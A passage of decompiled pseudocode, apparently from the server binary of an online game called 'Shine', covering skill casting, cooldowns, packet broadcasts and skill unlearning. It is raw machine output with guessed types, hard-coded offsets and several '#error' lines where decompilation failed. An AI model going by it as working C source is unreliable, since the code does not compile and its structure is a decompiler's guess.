puts("ShineObjectClass::ShinePlayer::sp_SkillShiftCancel : Cancel"); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2728))(v1); *((_BYTE *)v1 + 7368) &= 0xEFu; *((_DWORD *)v1 + 1781) = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SkillShiftCancel"); } //----- (005174B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_old_skill_blast(void *this, int idx, int a3, int skill, int empower) { void *v5; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_old_skill_blast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_old_skill_blast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMobileObject::smo_old_skill_blast(v5, idx, a3, skill, empower); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_old_skill_blast"); } // 514E90: using guessed type int __thiscall ShineObjectClass__ShineMobileObject__smo_old_skill_blast(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (00517560) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting(void *this, int sklidx, int a3, int loc, int casting_millisec) { void *v5; // esi@1 int v6; // edx@1 int v7; // eax@1 unsigned int v8; // ecx@1 char *v9; // ecx@1 int v10; // ebx@1 int v11; // eax@1 int v12; // eax@2 unsigned int v13; // ecx@2 char *v14; // ecx@2 unsigned __int16 v15; // ax@2 int v16; // ecx@2 unsigned __int16 v17; // di@2 __int16 v18; // ax@2 int v19; // edx@2 char *v20; // eax@2 AxialListIteratorVtbl *v21; // ebp@2 int v22; // eax@4 char *v23; // eax@5 int v24; // ST04_4@5 int v25; // eax@5 int v26; // eax@6 unsigned int v27; // ecx@6 char *v28; // ecx@6 int v29; // eax@6 unsigned __int16 v30; // ax@7 int v31; // ecx@7 unsigned int v32; // edx@7 char *v33; // eax@7 unsigned int v34; // ecx@7 AxialListIteratorVtbl *v35; // edi@7 ProtocolPacket *v36; // ebp@7 int v37; // ebx@7 int v38; // eax@9 char *v39; // eax@10 int v40; // ST04_4@10 int v41; // eax@10 int v42; // ecx@13 unsigned __int16 v43; // bx@13 unsigned __int16 v44; // bp@14 int v45; // edx@15 int v46; // eax@15 unsigned __int16 v47; // di@15 bool v48; // cf@15 int v49; // ecx@17 int v50; // ecx@19 int v51; // edx@20 int v52; // edx@21 int v53; // edx@24 AxialListPacketBroadcast alchat; // [sp+28h] [bp-18h]@2 int v55; // [sp+3Ch] [bp-4h]@1 int sklidxa; // [sp+44h] [bp+4h]@13 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *(_DWORD *)v5; v55 = 0; (*(void (__thiscall **)(void *, signed int))(v6 + 2744))(v5, 4045); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1352))(v5); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)v7; *((_DWORD *)v9 + 1) = *(_DWORD *)(v7 + 4); *((_DWORD *)v9 + 2) = *(_DWORD *)(v7 + 8); *((_DWORD *)v9 + 3) = *(_DWORD *)(v7 + 12); v9[16] = 0; ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear((char *)v5 + 7124); v10 = sklidx; v11 = *(_DWORD *)v5; *((_DWORD *)v5 + 1786) = sklidx; *((_WORD *)v5 + 3564) = **(_WORD **)(sklidx + 4); if ( a3 ) { v12 = (*(int (__thiscall **)(void *))(v11 + 1352))(v5); v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)v12; *((_DWORD *)v14 + 1) = *(_DWORD *)(v12 + 4); *((_DWORD *)v14 + 2) = *(_DWORD *)(v12 + 8); *((_DWORD *)v14 + 3) = *(_DWORD *)(v12 + 12); v14[16] = 0; *((_DWORD *)v5 + 1783) = a3; v15 = SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(&skilleffectapplyer); v16 = *((_DWORD *)v5 + 1786); v17 = v15; *((_WORD *)v5 + 3693) = v15; v18 = **(_WORD **)(v16 + 4); v19 = *(_DWORD *)v5; HIWORD(alchat.baseclass_0.vfptr) = *(_WORD *)(a3 + 4); LOWORD(alchat.baseclass_0.vfptr) = v18; (*(void (__thiscall **)(void *))(v19 + 2836))(v5); v20 = gpp.pp_Buffer; v21 = alchat.baseclass_0.vfptr; *(_WORD *)gpp.pp_Buffer = 9294; v20 += 2; *(_DWORD *)v20 = v21; *((_WORD *)v20 + 2) = v17; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v22 + 12))(v22, v5, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SkillBash_BlastA : Packet Too Long", 8); } v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9295; *((_WORD *)v23 + 1) = *((_WORD *)v5 + 2); v23 += 4; *(_DWORD *)v23 = v21; *((_WORD *)v23 + 2) = v17; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 10); v24 = *(_DWORD *)((char *)v5 + 78); LOBYTE(v55) = 1; v25 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v5, v25, v24, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v55) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { v26 = (*(int (__thiscall **)(void *))(v11 + 1352))(v5); v27 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v27; v28 = (char *)&namestring + 256 * v27; *(_DWORD *)v28 = *(_DWORD *)v26; *((_DWORD *)v28 + 1) = *(_DWORD *)(v26 + 4); *((_DWORD *)v28 + 2) = *(_DWORD *)(v26 + 8); v29 = *(_DWORD *)(v26 + 12); v28[16] = 0; *((_DWORD *)v28 + 3) = v29; if ( !loc ) { (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v5 + 2744))(v5, 4043); goto LABEL_26; } *((_DWORD *)v5 + 1784) = *(_DWORD *)loc; *((_DWORD *)v5 + 1785) = *(_DWORD *)(loc + 4); v30 = SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(&skilleffectapplyer); v31 = *((_DWORD *)v5 + 1786); *((_WORD *)v5 + 3693) = v30; LOWORD(v31) = **(_WORD **)(v31 + 4); v32 = *(_DWORD *)loc; HIWORD(alchat.alpb_packetlength) = v30; v33 = gpp.pp_Buffer; LOWORD(alchat.baseclass_0.vfptr) = v31; v34 = *(_DWORD *)(loc + 4); *(_WORD *)gpp.pp_Buffer = 9296; *(_QWORD *)((char *)&alchat.baseclass_0.vfptr + 2) = __PAIR__(v34, v32); v35 = alchat.baseclass_0.vfptr; v36 = alchat.alpb_packet; v37 = alchat.alpb_packetlength; v33 += 2; *(_DWORD *)v33 = alchat.baseclass_0.vfptr; *((_DWORD *)v33 + 1) = v36; *((_DWORD *)v33 + 2) = v37; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v38 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v38 + 12))(v38, v5, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SkillBash_BlastA : Packet Too Long", 14); } v39 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9297; *((_WORD *)v39 + 1) = *((_WORD *)v5 + 2); v39 += 4; *(_DWORD *)v39 = v35; *((_DWORD *)v39 + 1) = v36; *((_DWORD *)v39 + 2) = v37; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 16); v40 = *(_DWORD *)((char *)v5 + 78); LOBYTE(v55) = 2; v41 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v5, v41, v40, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v55) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v10 = sklidx; } *((_DWORD *)v5 + 1786) = v10; *((_WORD *)v5 + 3564) = **(_WORD **)(v10 + 4); if ( casting_millisec < 0 ) casting_millisec = *(_DWORD *)(*(_DWORD *)(v10 + 4) + 191); v42 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1304))(v5); v43 = *(_WORD *)(*(_DWORD *)(v42 + 3488) + 12 * *(_WORD *)(v42 + 3494) + 4); for ( sklidxa = v42; ; v42 = sklidxa ) { v44 = *(_WORD *)(v42 + 3484); if ( v43 >= v44 ) break; v45 = *(_DWORD *)(v42 + 3488); v46 = v43; v47 = v43; v48 = v43 < v44; v43 = *(_WORD *)(v45 + 12 * v43 + 4); if ( v48 && *(_BYTE *)(v45 + 12 * v46 + 8) ) v49 = *(_DWORD *)(v45 + 12 * v46); else v49 = 0; v50 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v49 + 4)); if ( v47 < v44 && (v51 = v45 + 12 * v46, *(_BYTE *)(v51 + 8)) ) v52 = *(_DWORD *)v51; else v52 = 0; casting_millisec += (*(int (__stdcall **)(int))(*(_DWORD *)v50 + 24))(v52); } v53 = *(_DWORD *)v5; *((_DWORD *)v5 + 1781) = clockwatch.cw_CurrTick + 10 * casting_millisec / 1000; (*(void (__thiscall **)(void *))(v53 + 2676))(v5); LABEL_26: --funcallanalizer.fca_stackpoint; v55 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting"); } //----- (00517A00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 signed int v5; // [sp+8h] [bp-1Ch]@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( **((_BYTE **)v4 + 929) == 6 ) { v5 = 8425; LABEL_8: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 9, 69, v5); goto LABEL_9; } if ( !(_S16_5 & 1) ) { _S16_5 |= 1u; cmc_95.cmc_AllowMode = 4; atexit(_E17_16); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_95.cmc_AllowMode ) { ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD(v4, netcmd, len, handle); v5 = 8424; goto LABEL_8; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 9, 69, 8426); LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ"); } //----- (00517B30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet(void *this) { void *v1; // esi@1 int v2; // ebx@1 char v3; // al@1 char result; // al@2 unsigned __int16 v5; // bp@3 unsigned __int16 v6; // bx@4 int v7; // edx@5 int v8; // eax@5 unsigned __int16 v9; // di@5 bool v10; // cf@5 int v11; // ecx@7 int v12; // ecx@9 int v13; // edx@10 int v14; // edx@11 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; v3 = *((_BYTE *)v1 + 7368); if ( v3 & 0x10 ) { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"); result = 0; } else { *((_BYTE *)v1 + 7368) = v3 & 0xBF; v5 = *(_WORD *)(*((_DWORD *)v1 + 923) + 12 * *((_WORD *)v1 + 1849) + 4); while ( 1 ) { v6 = *((_WORD *)v1 + 1844); if ( v5 >= v6 ) break; v7 = *((_DWORD *)v1 + 923); v8 = v5; v9 = v5; v10 = v5 < v6; v5 = *(_WORD *)(v7 + 12 * v5 + 4); if ( v10 && *(_BYTE *)(v7 + 12 * v8 + 8) ) v11 = *(_DWORD *)(v7 + 12 * v8); else v11 = 0; v12 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v11 + 4)); if ( v9 < v6 && (v13 = v7 + 12 * v8, *(_BYTE *)(v13 + 8)) ) v14 = *(_DWORD *)v13; else v14 = 0; if ( (unsigned __int8)(*(int (__stdcall **)(int))(*(_DWORD *)v12 + 32))(v14) ) { *((_BYTE *)v1 + 7368) |= 0x40u; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"); return 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"); result = 1; } return result; } //----- (00517CD0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBlastOption(void *this) { void *v1; // ebp@1 unsigned __int16 v2; // bx@1 unsigned __int16 v3; // di@2 int v4; // edx@3 int v5; // eax@3 unsigned __int16 v6; // si@3 bool v7; // cf@3 int v8; // ecx@5 int v9; // ecx@7 int v10; // edx@8 int v11; // edx@9 int v12; // eax@11 int skl; // [sp+4h] [bp-14h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBlastOption"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBlastOption"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; skl = 0; v2 = *(_WORD *)(*((_DWORD *)v1 + 923) + 12 * *((_WORD *)v1 + 1849) + 4); while ( 1 ) { v3 = *((_WORD *)v1 + 1844); if ( v2 >= v3 ) break; v4 = *((_DWORD *)v1 + 923); v5 = v2; v6 = v2; v7 = v2 < v3; v2 = *(_WORD *)(v4 + 12 * v2 + 4); if ( v7 && *(_BYTE *)(v4 + 12 * v5 + 8) ) v8 = *(_DWORD *)(v4 + 12 * v5); else v8 = 0; v9 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v8 + 4)); if ( v6 < v3 && (v10 = v4 + 12 * v5, *(_BYTE *)(v10 + 8)) ) v11 = *(_DWORD *)v10; else v11 = 0; v12 = (*(int (__stdcall **)(int))(*(_DWORD *)v9 + 28))(v11); if ( skl < v12 ) skl = v12; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBlastOption"); return skl; } //----- (00517DF0) -------------------------------------------------------- #error "517DF0: undefined or illegal type '#325' (funcsize=112)" //----- (00517FA0) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_Revive(ServerMenuFuncter *this, #434 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Revive"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_Revive"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ReviveNow((void *)a2, *(_WORD *)&arg->sma_link.sml_lnkinf.index[0]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Revive"); } //----- (00518040) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_UseSkillSimple(void *this, int skillIndex, int a3, int loc) { void *v4; // esi@1 int v5; // eax@1 v4 = this; *((_BYTE *)v4 + 7368) ^= (*((_BYTE *)v4 + 7368) ^ 2 * (*(_BYTE *)(skillIndex + 256) != 0)) & 2; ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting(this, skillIndex, a3, loc, -1); v5 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1304))(v4); return List::l_4AllInList( (List *)(v5 + 3480), AbnormalStateContainer::AbstateElementInObject::aeo_Attack); } //----- (005180A0) -------------------------------------------------------- #error "5180A0: undefined or illegal type '#325' (funcsize=152)" //----- (005182D0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ(int netcmd, int len, __int16 handle) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ Called", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ"); } //----- (00518370) -------------------------------------------------------- void __fastcall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ(int a1, int netcmd, int len, __int16 handle) { int v4; // esi@1 bool v5; // zf@1 int v6; // eax@7 int v7; // eax@9 Name4 *v8; // eax@9 Name4 *v9; // eax@10 unsigned int v10; // eax@17 int v11; // ebp@17 int v12; // edi@19 int v13; // eax@20 int v14; // edx@22 Name4 *v15; // eax@24 int v16; // edx@28 Name4 *v17; // eax@32 char v18; // al@33 int v19; // edx@33 Name4 *v20; // eax@34 unsigned int v21; // ebx@35 Name4 *v22; // eax@36 int v23; // eax@39 Name4 *v24; // eax@39 Name4 *v25; // eax@39 int v26; // eax@42 FunctionEntarance _; // [sp+28h] [bp-20h]@1 SHINE_XY_TYPE targetcoord; // [sp+2Ch] [bp-1Ch]@17 int v29; // [sp+34h] [bp-14h]@20 int v30; // [sp+38h] [bp-10h]@20 int v31; // [sp+44h] [bp-4h]@1 v4 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S12_25 & 1) == 0; v31 = 0; *(_WORD *)(v4 + 32015) = 4045; if ( v5 ) { _S12_25 |= 1u; cmc_96.cmc_AllowMode = 4; atexit(_E13_23); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & cmc_96.cmc_AllowMode) ) { *(_WORD *)(v4 + 32015) = 4032; LABEL_44: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ"); return; } if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 988))(v4, 291) ) { *(_WORD *)(v4 + 32015) = 4033; goto LABEL_44; } v6 = *(_DWORD *)(v4 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 159) ) { *(_WORD *)(v4 + 32015) = 4035; goto LABEL_44; } v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1304))(v4); List::l_4AllInList( (List *)(v7 + 3480), AbnormalStateContainer::AbstateElementInObject::aeo_Attack); v8 = (Name4 *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1352))(v4); NameString::operator__(&namestring, v8); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2680))(v4) ) { v9 = (Name4 *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1352))(v4); NameString::operator__(&namestring, v9); *(_WORD *)(v4 + 32015) = 4036; v31 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { if ( *(_BYTE *)(v4 + 7368) & 4 ) { *(_WORD *)(v4 + 32015) = 4044; v31 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2796))(v4) ) { *(_WORD *)(v4 + 32015) = 4050; v31 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2440))(v4) ) { *(_WORD *)(v4 + 32015) = 4032; v31 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2164))(v4); v10 = *(_DWORD *)(len + 4); v11 = len + 4; targetcoord.y = *(_DWORD *)(len + 8); targetcoord.x = v10; ShineObjectClass::ShineObject::so_FindBlockLocate( (void *)v4, len + 4, 10000, (int)&targetcoord, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsAttackBlock); if ( *(_DWORD *)(len + 4) != targetcoord.x || *(_DWORD *)(len + 8) != targetcoord.y ) { v26 = *(_DWORD *)v4; *(_WORD *)(v4 + 32015) = 4049; (*(void (__thiscall **)(int))(v26 + 2732))(v4); v31 = -1; } else { v12 = (int)SkillDataBox::operator__(&skilldatabox, *(_WORD *)(len + 2)); if ( *(_BYTE *)(v12 + 328) && ((v13 = *(_DWORD *)v11, v30 = *(_DWORD *)(len + 8), v29 = v13, ShineObjectClass::ShineObject::so_FindBlockLocate( (void *)v4, v11, 10000, (int)&v29, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock), *(_DWORD *)v11 != v29) || *(_DWORD *)(len + 8) != v30) ) { v14 = *(_DWORD *)v4; *(_WORD *)(v4 + 32015) = 4049; (*(void (__thiscall **)(int))(v14 + 2732))(v4); } else { if ( AssertClass::operator__( &shineassert, *(_DWORD *)(*(_DWORD *)(v12 + 4) + 187) != 2, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ : Not skill", *(_WORD *)(len + 2)) ) { v15 = (Name4 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1352))(v4); NameString::operator__(&namestring, v15); *(_WORD *)(v4 + 32015) = 4038; } else { if ( (*(_BYTE *)(v12 + 328) || *(_BYTE *)(v12 + 352)) && *(_DWORD *)(v4 + 144) == 3 ) { v16 = *(_DWORD *)v4; *(_WORD *)(v4 + 32015) = 4032; (*(void (__thiscall **)(int))(v16 + 2732))(v4); } else { if ( ShineObjectClass::ShineMobileObject::smo_SkillBlastOption((void *)v4) == 2 ) { *(_WORD *)(v4 + 32015) = 4039; } else { if ( CharaterSkillList::csl_CoolTimeCheck( (CharaterSkillList *)(v4 + 68220), (#325 *)v4, *(_WORD *)(len + 2)) ) { (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 2764))(v4, *(_WORD *)(len + 2)); v18 = CharaterSkillList::csl_SPCheck( (CharaterSkillList *)(v4 + 68220), (#325 *)v4, *(_WORD *)(len + 2), (SkillDataBox::SkillDataIndex *)v12, (SKILL_EMPOWER *)(v4 + 7164), 0); v19 = *(_DWORD *)v4; if ( v18 ) { v21 = (unsigned int)(10 * (*(_DWORD *)(v12 + 68) + (*(int (__thiscall **)(int))(v19 + 1660))(v4))) >> 3; if ( ShineObjectClass::ShineObject::so_DistanceSquar(v4, v11) <= v21 * v21 ) { if ( ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack((ShineObjectClass::ShinePlayer::TimeScheduler *)(v4 + 92164)) ) (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2732))(v4); v23 = *(_DWORD *)v4; *(_BYTE *)(v4 + 88992) ^= (*(_BYTE *)(v4 + 88992) ^ *(_BYTE *)(*(_DWORD *)v12 + 71)) & 1; v24 = (Name4 *)(*(int (__thiscall **)(int))(v23 + 1352))(v4); NameString::operator__(&namestring, v24); ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting((void *)v4, v12, 0, v11, -1); v25 = (Name4 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1352))(v4); NameString::operator__(&namestring, v25); *(_BYTE *)(v4 + 88992) &= 0xFDu; *(_WORD *)(v4 + 32015) = 0; } else { v22 = (Name4 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1352))(v4); NameString::operator__(&namestring, v22); *(_WORD *)(v4 + 32015) = 4042; } } else { v20 = (Name4 *)(*(int (__thiscall **)(int))(v19 + 1352))(v4); NameString::operator__(&namestring, v20); *(_WORD *)(v4 + 32015) = *(_DWORD *)(*(_DWORD *)(v12 + 4) + 164) < (unsigned int)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1236))(v4) ? 4041 : 4053; } } else { v17 = (Name4 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1352))(v4); NameString::operator__(&namestring, v17); *(_WORD *)(v4 + 32015) = 4040; } } } } } v31 = -1; } FunctionEntarance::_FunctionEntarance(&_); } } } } } //----- (005188D0) -------------------------------------------------------- #error "5188D0: undefined or illegal type '#325' (funcsize=535)" //----- (00519080) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_UnLearn(CharaterSkillList *this, unsigned __int16 skill) { CharaterSkillList *v2; // esi@1 std::vector >::iterator v3; // ecx@1 std::vector >::iterator v4; // edi@2 int v5; // edi@3 int v6; // eax@4 CharaterSkillList::CharSkill compare; // [sp+8h] [bp-20h]@3 int v8; // [sp+24h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_UnLearn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_UnLearn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (std::vector >::iterator)v2->csl_Skill._Myfirst; v8 = 0; if ( v3 ) { v4 = (std::vector >::iterator)v2->csl_Skill._Mylast; if ( (signed int)((char *)v2->csl_Skill._Mylast - *(_DWORD *)&v3) / 20 ) { compare.cs_SkillId = skill; std::_Lower_bound>::iterator_CharaterSkillList::CharSkill_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator *)&skill, v3, v4, &compare, CharaterSkillList::CharSkill::cs_Compare_STLVer, 0); v5 = skill; if ( !CharaterSkillList::CharSkill::cs_Compare_STLVer(&compare, (CharaterSkillList::CharSkill *)skill) ) { std::_Copy_opt( (CharaterSkillList::CharSkill *)(v5 + 20), v2->csl_Skill._Mylast, (CharaterSkillList::CharSkill *)v5, (std::_Nonscalar_ptr_iterator_tag)skill); v6 = v2->csl_SkillNumber - 1; --v2->csl_Skill._Mylast; v2->csl_SkillNumber = v6; } } } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_UnLearn"); } //----- (005191A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_UnlearnSkillAck(void *this, int ack) { void *v2; // esi@1 signed __int16 v3; // bx@1 unsigned __int16 v4; // di@1 char *v5; // eax@5 int v6; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_UnlearnSkillAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_UnlearnSkillAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(ack + 8); v4 = *(_WORD *)(ack + 6); if ( v3 == 5377 ) { if ( v4 >= 0x7530u ) { v4 -= 30000; v3 = 5381; 